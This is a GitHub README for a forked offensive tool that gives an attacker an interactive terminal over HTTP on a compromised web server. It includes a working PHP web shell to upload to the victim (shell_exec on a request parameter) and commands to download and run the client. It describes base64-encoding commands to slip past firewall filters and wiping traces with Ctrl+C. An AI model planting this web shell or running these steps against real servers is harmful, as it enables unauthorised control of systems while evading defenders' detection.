Skip to content

jaumesaa/easier-ttyoverhttp

 
 

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

19 Commits
 
 
 
 
 
 

Repository files navigation

TTYOverHTTP

wget https://raw.githubusercontent.com/jaumesaa/easier-ttyoverhttp/master/tty_over_http.py
sudo python3 tty_over_http.py

esto es un fork de s4vitar, ¿estamos?

Sometimes when we compromise a web server, there are configured rules (Ex: iptables) that prevent us from obtaining a Reverse Shell via Netcat, Python, or another utility.

With this tool, we avoid having to use a reverse shell to obtain a TTY later fully interactive. Through files 'mkfifo', we play to simulate an interactive TTY over HTTP, achieving manage the system comfortably without any type of problem.

The only thing we need is to upload a PHP structure like the following to the compromised server to execute commands:

<?php
	echo shell_exec($_REQUEST['cmd']);
?>

After its execution, you'll have a tty that will allow you to execute commands that the firewall or other filters were filtering with base64encode. Also will simulate commands like "cd.." or "pwd", to navigate between directories comfortably with mkfifo, JUST LIKE AN INTERACTIVE TTY!! Ctrl+C to erase any trace. example_usage_image

About

This fork requests the link and parameter instead of manually changing the file line by line.

Resources

Stars

Watchers

Forks

Releases

Packages

Contributors

Languages